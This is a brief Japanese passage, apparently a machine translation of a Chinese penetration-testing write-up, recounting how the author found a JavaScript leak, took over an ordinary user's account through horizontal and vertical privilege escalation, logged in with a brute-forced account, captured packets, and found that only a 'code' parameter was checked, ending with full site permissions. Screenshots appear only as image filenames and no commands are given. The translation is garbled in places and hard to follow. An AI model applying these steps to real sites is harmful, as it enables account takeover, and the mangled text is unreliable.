変更後、ジャンプに関するデータがないことがわかりました。 JSにはまだリークがありました。

1049983-20221122161151786-761786982.jpg

同じ方法

オーバーリーチは、通常のユーザーのアカウントパスワードを取得しました。次に、右、垂直のオーバーリーチ、または並行した過剰なオーバーリーチを試してみる必要があります。

ブラストアカウントを使用して、ログインしてパケットをキャプチャします。この場所のマスターは、データパケットを数回視聴し、掘るときにパケットを返すことができます。

構築するとき、私はそれが検証IDだと思った。さらに数回のテストの後、コードパラメーターのみを認識していることがわかりました。

1049983-20221122161152477-1992148335.jpg

ウェブサイト上のすべての許可を取得することを許可しないでください

1049983-20221122161153290-648200404.jpg

元の接続:https://xz.aliyun.com/t/11612